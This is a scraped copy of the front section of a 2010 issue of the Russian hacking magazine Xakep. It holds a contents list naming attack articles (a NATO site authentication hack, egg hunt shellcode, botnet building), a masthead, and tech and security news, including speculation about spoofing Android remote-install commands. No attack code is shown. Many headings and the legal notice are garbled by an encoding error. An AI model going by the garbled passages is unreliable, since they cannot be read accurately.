12.07.2015 Views

img - Xakep Online

img - Xakep Online

img - Xakep Online

SHOW MORE
SHOW LESS
  • No tags were found...

Create successful ePaper yourself

Turn your PDF publications into a flip-book with our unique Google optimized e-Paper software.

ВЗЛОМ АУТЕНТИФИКАЦИИ НА САЙТЕ НАТО СТР. 50x 08 (АВГУСТ) 2010 МУТАЦИЯ КОДА/ МОРФИМ КОД ВО ВРЕМЯ КОМПИЛЯЦИИАВГУСТ 08 (139) 2010MALWAREÍÎÂÀß ÐÓÁÐÈÊÀÎ ÂÈÐÓÑÀÕРЕКОМЕНДОВАННАЯЦЕНА: 210 р.СЕРВЕРНЫЙJAVASCRIPTÐÀÇÁÈÐÀÅÌÑß Ñ NODE.JSÑÒÐ. 30139ÒÅÑÒ ÍÅÒÒÎÏÎÂWARDIVING Â ÍÀØÅÌ ÂÅÊÅÊÐÀØ-ÒÅÑÒ ÐÎÑÑÈÉÑÊÈÕÀÍÒÈÂÈÐÓÑÎÂÏÐÎÁÐÀÑÛÂÀÅÌ ÏÎÐÒÛÂ ÎÊÍÀÕ, ÍÈÊÑÀÕ È ÖÈÑÊÀÕСВОЙVIRUSTOTALÑÎÇÄÀÅÌ ÑÅÐÂÈÑÄËß ÏÐÎÂÅÐÊÈ ÔÀÉËÀÍÅÑÊÎËÜÊÈÌÈ ÀÍÒÈÂÈÐÓÑÀÌÈÑÒÐ. 74


INTROТы, конечно же, заметил в прошлом номере новуюрубрику MALWARE, посвященную малвари и (анти)вирусным технологиям. Рад сообщить, что бетатестудался и теперь наш журнал пополнился новойежемесячной рубрикой, в которой мы будем тестироватьи всячески нагибать антивирусы, реверсить интересныетрои и вообще писать обо всем, что связано с вирусамиантивирусами.Обойдемся без политкорректности: в этихделах важна прямота, честность и нестандартный подход.Вот этом номере мы по-новому взглянули натестирование антивирусов и устроили краш-тестпопулярных авиров отечественного производства.Результат отличный: тест завалили все, а дляантивируса на букву «К» мы даже нашли эксклюзивныйспособ выноса, который придется тебе по вкусу.Welcome to MALWARE!nikitozz, гл. ред. Х


MegaNews004 Все новое за последний месяцFERRUM016 Êîäèíã ïîïêîðíàУчимся создавать плагины для медиаплееров PopcornTV018 Òåñò íåòòîïîâОбзор свежих железок на Intel AtomPC_ZONE026 MacOS X + VirtualBox = ëþáîâüЗапускаем макось под виртуальной машиной029 Êîëîíêà ðåäàêòîðàMicrosoft's fail, или почему так долго грузится винда?030 Ñåðâåðíûé JavaScriptЗнакомимся с Node.js, или как навсегда отказатьсяот PHP, Perl и Python034 Âàðäðàéâèíã â íàøåì âåêåПентест беспроводных сетей: что нового?ÂÇËÎÌ038 Easy-HackХакерские секреты простых вещей042 Îáçîð ýêñïëîèòîâРазбираем свежие уязвимости047 Âîçäóøíûé äóðøëàãИстория взлома крупного беспроводного провайдера050 Íåáåçîïàñíîñòü ÍÀÒÎКак НАТО борется с хакерами056 Ìîðôèì, íå îòõîäÿ îò êàññûМутация кода во время компиляции062 Êóðèòü âðåäíî!Взлом голландского онлайн-смартшопа066 Èäåì íà ïàñõàëüíóþ îõîòóПодробности egg hunt шеллкода072 X-ToolsПрограммы для взломаMALWARE074 VirusTotal ñâîèìè ðóêàìèСоздаем публичный сервис для проверкифайла несколькими антивирусами078 Êðàø-òåñò îòå÷åñòâåííûõ àíòèâèðóñîâСуровая проверка грандов AV-индустрии: победивших нет!ÑÖÅÍÀ082 Ìèãðàöèè IT-øíèêîâ ñðåäíåé ïîëîñûГде и как живут наши за границейÞÍÈÊÑÎÉÄ088 Ãîíêà âîîðóæåíèéСравниваем популярные расширения безопасности для ОС Linux094 Ïèíãâèí ñ ðåàêòèâíûì ðàíöåìУскоряем запуск приложений в Linux098 ×óäåñà òðàññèðîâêèРешение проблем с приложениями при помощи утилиты straceÊÎÄÈÍÃ104 Èñêóññòâî çîìáèðîâàíèÿАзбука создания неугоняемых ботнетов108 Ñèìóëÿöèÿ ïîêåðíîãî îðãàçìàВкуриваем в кодинг покерных ботов: создаемсимулятор тренировки112 Ïîòàåííûå ñàäû WindowsИсследуем недра операционной системыс помощью дебаггера и не только115 Êîäåðñêèå òèïñû è òðèêñûТри правила кодинга на C++ для настоящих спецовSYN/ACK118 Âõîä â ñîöèàëêè — íà àìáàðíûé çàìîê!Еще несколько способов контроля трафикаи управления доступом122 Ñêâîçü çàùèòíûå ïîðÿäêèПробрасываем порты в окнах, никсах и кисках127 Íå ñïàñîâàòü ïåðåä ëàâèíîéПодготавливаем веб-сервер к высоким нагрузкам132 Âèðòóàëüíàÿ ñôåðàУправляем облаками с помощью VMware vSphereÞÍÈÒÛ136 PSYCHO: Àòàêà ñëîâîìЧерная риторика в процессе убеждения140 FAQ UNITEDБольшой FAQ143 Äèñêî8.5 Гб всякой всячины144 WWW2Удобные web-сервисы


026MacOS X + VirtualBox = ëþáîâüЗапускаем макось под виртуальной машиной056Ìîðôèì, íå îòõîäÿ îò êàññûМутация кода во время компиляции050Íåáåçîïàñíîñòü ÍÀÒÎКак НАТО борется с хакерами074VirusTotal ñâîèìè ðóêàìèСоздаем публичный сервис для проверкифайла несколькими антивирусами/ÐÅÄÀÊÖÈЯ>Ãëàâíûé ðåäàêòîðÍèêèòà «nikitozz» Êèñëèöèí(nikitoz@real.xakep.ru)>Âûïóñêàþùèé ðåäàêòîðНиколай«gorl»Андреев(gorlum@real.xakep.ru)>Ðåäàêòîðû ðóáðèêÂÇËÎÌДмитрий«Forb» Докучаев(forb@real.xakep.ru)PC_ZONE и UNITSСтепан «step» Ильин(step@real.xakep.ru)UNIXOID, SYN/ACK и PSYCHOÀíäðåé «Andrushock» Ìàòâååâ(andrushock@real.xakep.ru)ÊÎÄÈÍÃАлександр «Dr. Klouniz» Лозовский(alexander@real.xakep.ru)>Ëèòåðàòóðíûй ðåäàêòîðЮлия Адасинская>Редактор xakep.ruЛеонид Боголюбов (xa@real.xakep.ru)/ART>Àðò-äèðåêòîðЕвгений Новиков(novikov.e@gameland.ru)>ВерстальщикВера Светлых(svetlyh@gameland.ru)/DVD>Выпускающий редакторСтепан «Step» Ильин(step@real.xakep.ru)>Редактор Unix-разделаАнтон «Ant» Жуков>Монтаж видеоМаксим Трубицын/PUBLISHING>Ó÷ðåäèòåëüÎÎÎ «Ãåéì Ëýíä», 119021, Москва, ул.Тимура Фрунзе, д. 11, стр. 44-45Тел.: +7 (495) 935-7034Факс: +7 (495) 780-8824>Генеральный дèðåêòîðÄìèòðèé Àãàðóíов>Óïðàâëÿþùèé äèðåêòîðÄàâèä Øîñòàê>Äèðåêòîð ïî ðàçâèòèþÏàøà Ðîìàíîâñêèé>Äèðåêòîð ïî ïåðñîíàëóТатьяна Гудебская>Ôèíàíñîâûé äèðåêòîðАнастасия Леонова>Редакционный директорДмитрий Ладыженский>PR-менеджерНаталья Литвиновская>Директор по маркетингуДмитрий Плющев>Главный дизайнерЭнди Тернбулл>Директор по производствуСергей Кучерявый/ÐÅÊËÀÌÀ/ Тел.: (495) 935-7034, факс: (495) 780-8824>Директор группы GAMES & DIGITALЕвгения Горячева (goryacheva@gameland.ru)>МенеджерыОльга ЕмельянцеваМария НестероваМария Николаенко>Менеджер по продаже Gameland TVМарина Румянцева(rumyantseva@gameland.ru)>Работа с рекламными агентствамиЛидия Стрекнева (strekneva@gameland.ru)>Старший менеджерСветлана Пинчук>МенеджерыНадежда ГончароваНаталья Мистюкова>Директор группы спецпроектовАрсений Ашомко (ashomko@gameland.ru)>Старший трафик-менеджерМарья Алексеева (alekseeva@gameland.ru)/ОТДЕЛ РЕАЛИЗАЦИИСПЕЦПРОЕКТОВ>ДиректорАлександр Коренфельд(korenfeld@gameland.ru)>МенеджерыАлександр ГурьяшкинСветлана МюллерТатьяна Яковлева/РАСПРОСТРАНЕНИЕ:/ Тел.: (495) 935-4034, факс: (495) 780-8824>Директор по ДистрибуцииКошелева Татьяна (kosheleva@gameland.ru)>Руководитель отдела подпискиГончарова Марина(goncharova@gameland.ru)>Руководитель спецраспространенияЛукичева Наталья (lukicheva@gameland.ru)> Претензии и дополнительная инфа:В случае возникновения вопросов покачеству вложенных дисков ,пишите поадресу: claim@gameland.ru.> Ãîðячая ëèíèя ïî ïîäïèñêåòåë.: 8 (800) 200.3.999Áåñïëàòíî äëÿ çâîíÿùèõ èç Ðîññèè> Äëя писем101000, Ìîñêâà,Ãëàâïî÷òàìò, à/ÿ 652, ÕàêåðÇàðåãèñòðèðîâàíî â ÌèíèñòåðñòâåÐîññèéñêîé Ôåäåðàöèè ïî äåëàì ïå÷àòè,òåëåðàäèîâåùàíèþ è ñðåäñòâàì ìàññîâûõêîììóíèêàöèé ÏÈ ß 77-11802 îò 14ôåâðàëÿ 2002 ã.Îòïå÷àòàíî â òèïîãðàôèè«Lietuvas Rivas», Литва.Òèðàæ 100 000 ýêçåìïëÿðîâ.Öåíà äîãîâîðíàÿ.Ìíåíèå ðåäàêöèè íå îáÿçàòåëüíî ñîâïàäàåòñ ìíåíèåì àâòîðîâ. Ðåäàêöèÿ óâåäîìëÿåò:âñå ìàòåðèàëû â íîìåðå ïðåäîñòàâëÿþòñÿêàê èíôîðìàöèÿ ê ðàçìûøëåíèþ. Ëèöà,èñïîëüçóþùèå äàííóþ èíôîðìàöèþâ ïðîòèâîçàêîííûõ öåëÿõ, ìîãóò áûòüïðèâëå÷åíû ê îòâåòñòâåííîñòè. Ðåäàêöèÿ âýòèõ ñëó÷àÿõ îòâåòñòâåííîñòè íå íåñåò.Ðåäàêöèÿ íå íåñåò îòâåòñòâåííîñòè çàñîäåðæàíèå ðåêëàìíûõ îáúÿâëåíèé âíîìåðå. Çà ïåðåïå÷àòêó íàøèõ ìàòåðèàëîâáåç ñïðîñà — ïðåñëåäóåì.По вопросам лицензирования и полученияправ на использование редакционных материаловжурнала обращайтесь по адресу:content@gameland.ru© ÎÎÎ «Ãåéì Ëýíä», РФ, 2010


MEGANEWSМАРИЯ «MIFRILL» НЕФЕДОВА MARIA.NEFEDOVA@GLC.RUMEGANEWSÎÁÎ ÂÑÅÌ ÇÀ ÏÎÑËÅÄÍÈÉ ÌÅÑßÖÓÃÀÄÀÉ ×ÒÎ: OPEN SOURCE, ÍÎ ÍÅ ÑÎÔÒМногие до сих пор не могут понять,почему, распространяя софт бесплатнои с исходниками, разработчики (правда,очень немногие) умудряются неплохозарабатывать. Так вот тебе новый тренд— Open Source Hardware (OSHW). Да-да,если верить статистике, то разработчикисвободного железа зарабатывают миллионы,а некоторые — и десятки миллионовдолларов в год. Бизнес-модельпо разработке открытого аппаратногообеспечения состоит в том, чтобы создатьдизайн некоего устройства и выложитьв открытый доступ файлы с чертежами исхемами, которые каждый может бесплатноиспользовать и модифицировать. Такна чем же они зарабатывают? В первуюочередь, на комплектах «Сделай сам».Например, парни из компании Liquidware(www.liquidware.com) предлагают BeagleEmbedded Starter Kit — набор для созданияпланшета из серии «сделай сам».В набор входят: OLED-дисплейÎÁËÀ×ÍÎÅÕÐÀÍÈËÈÙÅ ÎÒ GOOGLEBeagleTouch с диагональю 4.3» (тачскрин,разрешение 480 x 272), Li-ion аккумуляторBeagleJuice 2600 mAh, которого хватитна 3-6 часов, SD-карта на 4 Гб, на бортукоторой уже установлен Angstrom Linux иматеринская плата BeagleBoard. В итогеиз всей этой груды железок собираетсяполноценный девайс, который изначальнооткрыт для прокачки. Планшет можнои нужно кастомизировать: вместо Linux’алегко устанавливается Android, а к самомудевайсу добавляются дополнительныемодули такие как, например, RFID-считыватель.Устройство для снифингаRFID-меток на базе Android с классныминтерфейсом — словом, все зависиттолько от твоей фантазии. Обойдетсятакой конструктор почти в $400, но этоявно дешевле, чем, например, разбиратьновый iPad :).Едва мы рассказали о том, как облачные хранилища данных Amazon S3 можно использоватьне только на высоконагруженном сервере, но и просто у себя дома (статья «AmazonS3 для обычных смертных» из прошлого номера ][), как Google анонсировал свой облачныйсервис — Google Storage for Developers (code.google.com/apis/storage). Новое хранилищеявляется прямым конкурентом S3 и предоставляет безотказный и быстрый хостингдля данных без каких-либо ограничений. Подход простой: «сколько ресурсов потребуется,столько и используй, за столько и заплати». Как и в случае с S3, данные с большимуровнем избыточности, чтобы была возможность восстановить потерянные фрагменты,распределяются по различным датацентрам компании. Правда, у Amazon датацентрыесть в трех местах планеты, в том числе в Европе, что уменьшает задержку для пользователейиз этого региона, а у Google — пока только в Штатах. С другой стороны, и сам сервиспока находится в стадии полузакрытого тестирования. Для того, чтобы опробовать подходыGoogle к облачному хранению данных, оценив веб-интерфейс Google Storage managerи консольную утилиту GSUtil, необходимо заполнить анкету на сайте и дождаться своегоинвайта. Зато каждый зарегистрированный разработчик бесплатно получает 100 Гбдля данных и 300 Гб трафика. Кстати, уже известно, сколько составит оплата за использованиехранилища в будущем. Так, гигабайт под данные у «Амазона» стоит, в среднем,$0.105, а у Google намного больше — $0.17. Когда счет идет на терабайты, даже несколькоцентов — это очень большая скидка.004XÀÊÅÐ 08 /139/ 10


MEGANEWSÑÂÎÁÎÄÓ ÌÀÊÊÈÍÍÎÍÓ!Возможно, тебе покажется знакомым имя Гарри МакКиннона, и это совсем не удивительно,ведь в начале нулевых этот британский гик наделал немало шума, хакнувсерверы Пентагона и НАСА. Тогда он сумел влезть в 97 государственных машин, что,как утверждают американцы, привело к повреждениям компьютеров, отключениям отсети и ущербу в размере $800 тыс. А Гарри всего-навсего искал информацию об НЛОи совершенно не собирался ничего портить. К слову говоря, он так ничего и не нашели сам уверен, что не причинил никакого ущерба. Тем не менее, МаКиннона еще в2002 году нашли и арестовали, впоследствии отпустив на свободу с условием запретана пользование ПК и ежедневных визитов в полицейский участок. С тех пор Гарри,страдающий от синдрома Аспергера, депрессии, неврозов и приступов паники, сталсовсем плох, но США, начиная с 2005 года, все настойчивее требуют его экстрадиции.В Америке хакеру грозит до 70 лет тюрьмы и огромный штраф. Мать МакКиннона иуфологи-активисты все это время отстаивали Гарри, как могли, но без особого успеха.На данный момент шанс отменить экстрадицию остался всего один — по медицинскимпоказаниям. Психиатр МакКиннона утверждает, что его пациента никак нельзяперевозить в США, ведь Гарри еще никогда в жизни не покидал пределов родногогорода.37000 ÷åëîâåê óäàëèëè àêêàóíòû â Facebook â çíàê ïðîòåñòà ïðîòèâ òîãî, ÷òîñîöèàëüíàÿ ñåòü íå áåðåæåò ïðèâàòíîñòü èõ äàííûõIPHONE 4, ÈËÈ «JUST AVOID HOLDING IT IN THAT WAY»Стиву Джобсу понадобилось 112 минут на конференцииразработчиков WWDC 2010, чтобы рассказатьо том, что нас ждет; мы же постараемсяуложиться в одну новость. Внешний вид девайсани для кого не стал сюрпризом. Когда прототипустройства попал в руки журналиста Gizmodo,мало кто верил, что уродливый кирпич — это новыйiPhone. Комментарии а-ля «Да сразу видно,что китайская подделка» стихли после того, какApple прислала запрос с требованием вернутьдевайс, а после релиза на WWDC разом превратилисьв радостные восклицания по поводучумового дизайна нового смартфона. Тут, как никрути, Apple — короли маркетинга. Квадратностьв дизайне появилась из-за того, что с обеих сторонтелефона теперь алюмосиликатное стекло.Данные с конференции: оно в 30 раз прочнее ив 20 раз жестче пластика. Раньше этот суперпрочныйматериал применялся в производствевертолетов и сверхскоростных поездов, а теперь— в iPhone. На сайте Apple даже есть любопытныйролик, где стекло подвергается плавномувоздействию, под которым легко гнется. Сейчасже, после начала продаж, в Сети есть немалофоток с разбитым стеклом: выдерживая плавныенагрузки, оно точно так же, как и обычное,не выдерживает резкой нагрузки! Это первыйфейл. Толщина iPhone составляет теперь9,3 мм — это самый тонкий смартфон на сегодняшнийдень. Интересно, что креплениями длявсех компонентов iPhone являются металлическиеободки по всей боковой поверхности телефона.Они же являются антеннами Bluetooth,Wi-Fi, GPS, а также телефонными модулями006GSM и UMTS. Смелый подход оказался бомбой:если телефон взять в левую руку, дотронувшисьдо левого нижнего края смартфона, то сигналпостепенно падает и, в конце концов, аппаратполностью теряет связь! Единственное, что можетпредложить Apple, и это слова самого СтиваДжобса на гневное письмо — просто не держатьего таким образом (в оригинале: «Just avoidholding it in that way»). Или вот еще: купить резиновый«бампер» — кусочек красивого китайскогоговна за $29. Ну, или заклеить скотчем, чегоне стесняются ярые фанаты :). Считаем дальше— это второй фейл. Важное новшество новогоiPhone 4 — это, безусловно, сногсшибательныйдисплей Retina. Инженеры Apple на том же3,5-дюймовом экране умудрились разместитьв 4 раза больше пикселей, чем на предыдущихмоделях iPhone. Их плотность настолько велика,что человеческий глаз не может различитьотдельные 78 микрометровые пиксели на разрешении960x640. Но вот он, третий фейл — нанекоторых экземплярах на экране появляютсяжелтые пятна! «Так чего же его тогда покупают?»— да потому что это мегателефон! Привсех известных плюсах он обзавелся классной5-мегапиксельной камерой, которая можетснимать видео с разрешением 720p (и не будеткурить в темноте, потому что обзавелась LEDвспышкой).Помимо этого появилась фронтальнаякамера для видеозвонков. Правда,последняя работает через Wi-Fi по технологииFacetime, которая пока доступна только покупателямiPhone 4, хотя должна скоро появитьсяи в Skype. Помимо этого добавился гироскоп,более емкая батарея, энергосберегающий процессорA4, и, конечно же, новая операционнаясистема — iOS 4.0. Главная фича — это набившаяоскомину многозадачность. Переключениемежду свернутыми приложениями происходитпрактически моментально, но для поддержкимультитаска должны покорпеть еще и самипроизводители программ, выпустившие новыерелизы с учетом обновленного SDK от Apple.XÀÊÅÐ 08 /139/ 10


MEGANEWSÈÇÐÀÈËÜ ÂÅÐÁÓÅÒ ÕÀÊÅÐÎÂВсе больше и больше государств на нашем голубомшарике приходит к выводу, что создание специальныхкиберподразделений — это продиктованная временемнеобходимость. Вот и Израиль решил уделить особоевнимание данному вопросу, так как атаки на израильскиесайты и попытки взлома правительственныхресурсов в последнее время участились. В Армииобороны Израиля (ЦАХАЛ), в структуре крупнейшегоподразделения военной разведки 8200, скоро появитсянастоящий «киберспецназ», комплектовать которыйсобираются гиками и хакерами. Компьютерных гениевуже начали искать в рядах ЦАХАЛа и внимательновысматривать среди призывников. Вариант приглашенияспециалистов со стороны, из невоенных структур,тоже рассматривается. В задачу нового подразделениявойдет не только защита жизненно важныхузлов израиль ского киберпространства, но такжеатаки и захват контроля над стратегически важнымивражескими объектами в Сети. Нечего сказать, затеяинтересная и вполне в духе времени. Даже как-тообидно, что в нашей армии нет подобных спецотрядов.Согласись, было бы круто, если бы вместо тупых тестовна профпригодность и заданий типа «копать отсюда идо обеда» давали бы в зубы nmap, отладчик и тестовоезадание для взлома.Çà ïîñëåäíèå 3 ìåñÿöà áûëî ïðîäàíî îêîëî 2000 ãëóøèëîê äëÿïîäàâëåíèÿ ñåòè Yota. Òàêèì îáðàçîì áèçíåñ-öåíòðû áîðþòñÿ ñ äåøåâûìèíòåðíåòîì, ñòàâøèì äîñòóïíûì äëÿ èõ êëèåíòîâÎÒ ÂÈÍÒÀ!Когда Step поставил на свой древнийWindows-коммуникатор программу,передающую изображения с камеры поWi-Fi, первое, что они с Forb’ом сделали— смело приклеили скотчем телефон крадиоуправляемой машинке и гоняли покухне редакции :). Но все это — баловствопо сравнению с гиковской игрушкойParrot AR.Drone . Внешне это обычныйрадиоуправляемый вертолет, пускай истального футуристического вида. Главноев другом — вместо джойстика дляуправления используется акселерометрiPhone, а в качестве радиоканала — технологияWi-Fi. В зависимости от того, каквертеть в пространстве телефон, будетизменяться направление движенияквадрокоптера. Но даже это еще не все.Изображения с двух камер, которымиоснащен Parrot AR.Drone, передаютсяна экран смартфона, превращая девайсв настоящий беспилотник. С учетомдальнобойности Wi-Fi можно улетатьна игрушке даже в те места, которыхфизически не видишь. А для того, чтобыне сшибать все на своем пути (все-такиориентироваться по изображению не такуж и легко), на вертолете установленыультразвуквые альтиметры, а сам девайсприводится в движение электромоторами.Впервые Parrot AR.Drone былпредставлен зимой на выставке CES,однако никакая информация о продажене разглашалась. К тому же, не былодо конца ясно, удастся ли наладить серийноепроизводство. И вот тире новыеданные. Квадрокоптер все же поступитв продажу, и случится это уже осенью.Обойдется такая игрушка всего в $299.99против прогнозированных ранее $1000-1500! Увы, на станицах журнала никакне вставить видеоролик с презентациейэтой офигенной игрушки, но ты простообязан посмотреть ролики на сайтеardrone.parrot.com, чтобы понять нашвосторг.008XÀÊÅÐ 08 /139/ 10


ФЕДЯ ЧЕРЕНКОВСобери друзей –получи приз!Марка Wings присутствует на российскомрынке с 2006 года и на протяжениивсего этого времени не устает радоватьсвоих поклонников всевозможнымиакциями. Сегодня мы представляемтебе новый проект Wings – социальнуюсеть www.connection.ru, где ты не толькосможешь найти новых друзей, но ивыиграть классные призы в денежномэквиваленте!Òåëåôîí (6.000 ðóáëåé)Íîóòáóê (12.000 ðóáëåé)Àâòîìîáèëü (1.000.000 ðóáëåé)Хочешь не вставая из-за компа стать обладателемуниверсальной флеш-карты, телефона (6.000рублей), ноутбука (12.000 рублей), или дажешикарного новенького автомобиля (1.000.000рублей)? Тогда регистрируйся на сайте, приглашайтуда друзей, получай за это баллы и участвуй всоревновании!Подробности акции и Правила участия смотрите насайте www.connection.ru. Суть контеста предельнопроста: чтобы получить одну из 5.000 флешек,достаточно пригласить на сайт 20 человек изаработать не менее 20 баллов. Чтобы принятьучастие в соревновании за получение одного из650 телефонов, 65 ноутбуков и, конечно, машины –пригласи не менее 50 друзей и заработай не менее50 баллов, соответственно.За что назначаются загадочные баллы? На сайтеwww.connection.ru есть раздел с говорящимназванием «Медиатеатр», где твои друзья смогутразвлечься, слушая музыку, а также просматриваякино- и фотоматериалы. Но в «Медиатеатре» можнои нужно не только смотреть, но и комментировать,ведь как только приглашенный тобой другоставит комментарий к любому видео или аудиопроизведению,ты заработаешь 1 балл.Как видишь, выигрывать призы от Wings не такуж сложно: первые 5 ноутбуков и 9 телефонов, уженашли своих владельцев и отправились в Тверь,Воронеж, Заинск и другие уголки РФ. Социальнаясеть www.connection.ru пока еще совсем молода,так что сейчас твои шансы выиграть приз и\илиполучить подарок особенно велики. Статистикаговорит сама за себя: у текущего лидера акции –жительницы из Калининграда, которая уже сталасчастливой обладательницей ноутбука и флешки,а теперь является реальным претендентом наавтомобиль, всего около ста друзей. Основнаяборьба еще впереди, ведь это число оставляетнекислые шансы, чтобы побороться за супер-приз!РЕКЛАМА16XÀÊÅÐ 10 /130/ 09


Реклама11


MEGANEWSYAHOO! — ÁÎËÜØÅÍÅ ÏÎÈÑÊÎÂÈÊ15 лет понадобилось Yahoo!, чтобы понять, что искать в интернете онине умеют. Компания приняла решение оставить поисковый бизнес.Слияние, начатое Yahoo! и Microsoft еще в прошлом году, добралосьдо своего логического финала — теперь поисковый алгоритм Yahoo!полностью заменил майкрософтовский Bing. Microsoft, по сути, купила10-летнюю лицензию на поисковые технологии партнера, с целью еслине перегнать, то хотя бы потеснить Google. Bing действительно весьманеплох, но его основная проблема заключается в том, что им практическиникто не пользуется. Благодаря же альянсу с Yahoo! Майкрософт сможетвывести свой Bing на позицию поискового движка номер два в миреи, наконец, сумеет получить от него прибыль. Если посмотреть сейчасна любые инициативы Microsoft в вебе, то это жесточайший провал вплане финансовой отдачи. Сам же Yahoo! постепенно превращается вобычный медиапортал, хоть и с богатой историей.«ßíäåêñ» åæåäíåâíî ïîëó÷àåò îêîëî 100 ìëí. çàïðîñîâ, è èç íèõ 10%íàïèñàíû ñ îøèáêàìè èëè îïå÷àòêàìèFBI VS. TRUECRYPTИнтересный поворот произошел в историиодного бразильского банкира по имени ДаниельДантас, которого заподозрили в мошенничествес финансами и арестовали в 2008 годув Рио-де-Жанейро. Следствие бы, возможно,шло по стандартному сценарию, если бы всеизъятые из его квартиры харды не оказалисьзашифрованы 256-битным AES. Ключей нет,сам Дантас молчит, а использовать паяльникнельзя. Делать нечего, винты пришлось отправитьв Национальный институт криминологии(INC), где они и застряли на пять месяцев. Чтоуж с ними там делали — непонятно, возможно,просто поднимали настроение, перекладываяиз одной стопки в другую, но в отчете указали:«Брутфорс по словарю. 5 месяцев. Безрезультатно».Единственным весомым результатомстала договоренность с ФБР, которые пообещалипопробовать свои силы в расшифровкеданных. Вот тут-то и случился казус — федералы,на которых INC возлагали большие надежды,ковыряли несчастные диски больше года и, врезультате, также ничего не добились. Вернувхарды в Бразилию, специалисты из ФБР лишьÌÌÎ — ÄÅÒßÌ ÍÅ ÈÃÐÓØÊÀразвели руками. Согласно отчету федералов,данные на дисках зашифрованы двумя софтинами,название одной из которых неизвестно,зато второй оказалась бесплатная Truecrypt,которая наверняка тебе известна. Из того же отчетаясно, что тем самым «передовым методом»ФБР оказался... опять же, брутфорс. Ну, а где жезакладки в программе, мастер-пароли для открытиялюбого шифра, статистические методыдля дешифрования данных и т.д. и т.п.? Да можетони и есть, и паяльник никто не отменял, а такиминовостями лишь усыпляется бдительность.В Поднебесной уже давно не только следят за глобальным файерволом, ноеще и косо смотрят на онлайновые игры. В разнообразные MMO-забавы012режется огромный процент населения. Это уже само по себе непорядок:когда ж им найти время, чтобы лепить телефоны и материнские платы?Производители же уходят на Тайвань, надо что-то срочно делать :).Аналитики предрекают, что к 2012 году Китай захватит больше 50% рынкаMMO-игр, и его доходы составят 41 млрд. юаней (это около $6 млрд.). Нос 1-го августа текущего года китайские геймеры, не достигшие 18 лет,окажутся в очень неприятной ситуации. Власти решили, что несовершеннолетнимигрокам нельзя использовать ники — только настоящие имена идругие личные данные. Инфа на каждого игрока будет проверяться. Любаяонлайновая игра теперь должна быть оборудована системой анти-зависимости.То есть, через три часа после начала игры геймер лишится половинызаработанного в игре за это время, а если не прекратит играть, то черезпять часов лишится вообще всего заработанного. Владельцам онлайн–игр,в свою очередь, нужно подтвердить свою благонадежность и обладатькапиталом не менее $1.4 млн (10 миллионов юаней). Главной целью новыхправил в КНР называют «защиту молодежи» и борьбу с растущим числоминтернет-зависимых людей в стране. По последним данным, к их числуотносятся около 14% от 256 миллионов китайских геймеров, то есть более 33миллионов человек.XÀÊÅÐ 08 /139/ 10


ÑÏÅÖÑËÓÆÁÛ ÑØÀ ÍÅÃÎÄÓÞÒКак мы уже писали, компания AOL в апреле текущегогода приняла решение продать мессенджерICQ фонду Digital Sky Technologies за $187.5 млн.DST — это российская инвестиционная группа,которой, в частности, принадлежит контрольныйпакет акций Mail.ru. Сделка выглядит вполне логичной:«аська» в России очень популярна, плюсу сервиса множество пользователей в Германии,Израиле, Чехии и ряде других стран ВосточнойЕвропы. Однако Financial Times пишет, чтопредставители американских спецслужб крайненедовольны таким раскладом. Как пояснили корреспондентамFT сами представители спецслужб,ICQ — один из главных каналов общения длямногих преступных групп из Восточной Европы.Таким образом, переезд серверов ICQ из СШАв Россию затруднит для американцев контрольнад перепиской преступников. Стоп, какой ещеконтроль? Стало быть, не зря говорят, что безшифрования в аське никуда? В действительностидля чтения логов ребятам не нужны сами серверыICQ, так как этот вопрос можно решить на уровнеинтернет-провайдеров. А теперь серверы, скореевсего, переедут! øòàòå êîìïàíèè Google òðóäèòñÿ 20621 ÷åëîâåê, èç íèõ áîëåå 99% ìëàäøå40 ëåò.ÑÀÌÛÉ ÁÎËÜØÎÉ ÁÎÒÍÅÒ ÎÒ GOOGLE :)Бурные обсуждения вызвали действия корпорации Google, котораясначала официально подтвердила наличие в ОС Android возможностидистанционного удаления приложений, а потом не преминула еювоспользоваться. Жертвой стали два сомнительных приложения,созданных специалистом по безопасности в ходе интересного эксперимента.Ресерчер хотел показать, насколько легко можно распространитьзловредное приложение, причем с помощью самих пользователей. Дляэтого в Android Market было добавлено два совершенно бесполезныхприложения, для которых, однако, было написано привлекательноеописание. И что ты думаешь? Пользователи активно стали устанавливатьих. Правда, обломавшись после установки, многие из юзеров«пустышки» удалили. Ребята из Google попросили ресерчера самогоудалить приложения из репозитория, а сами, вероятно, долго ожидаяподобного случая, наконец получили возможность управлять миром.А вернее, протестить возможность удаленного удаления приложениясо смартфонов пользователей. Короче говоря, всем смартфонам былаотправлена команда: «Удалить, нельзя помиловать». Пользователямпри этом было отображено уведомление, но кто ж их читает? Само собой,такая возможность прописана в правилах использования ОС. Но читатьлицензии скучно, а вот что действительно интересно, так это то, какработает технология.На самом деле, операционная система Android уже давно поддерживаетдве команды: REMOVE_ASSET и INSTALL_ASSET, которые позволяютGoogle не только удаленно удалять, но и устанавливать приложения.Твой девайс на Android поддерживает постоянное TCP/SSL/XMPP-соединениес серверами GTalk (да-да, того самого чата, что используетсяв Gmail) все время, когда у телефона есть доступ в интернет. Причеммобильная ОС автоматически переподключается к серверу в случаеобрыва связи и постоянно отправляет пинги на сервера Google. Этотканал связи позволяет Google отправлять системные сообщения твоемудевайсу. Отправленное через GTalkService сообщение непременнопопадает на каждый смартфон. Как только Google отдает командуINSTALL_ASSET, получивший сообщение смартфон на Android скачиваетAPK-дистрибутив с программой и инсталлирует ее. И, наоборот,получив команду REMOVE_ASSET, система удаляет приложение, еслионо установлено. Такая возможность, с одной стороны, хороша: Googleможет оперативно удалить всю появляющуюся малварь. Но с другой стороны,а что, если кто-то сможет реализовать MITM-атаку на SSL-соединениеконкретного телефона до GTalkService и проспуфить сообщениеINSTALL_ASSET, чтобы залить на телефон какую-нибудь заразу? Иливообще добраться до самих серверов GTalkService и отправить командувсем сразу? Вот где будет жесть!013


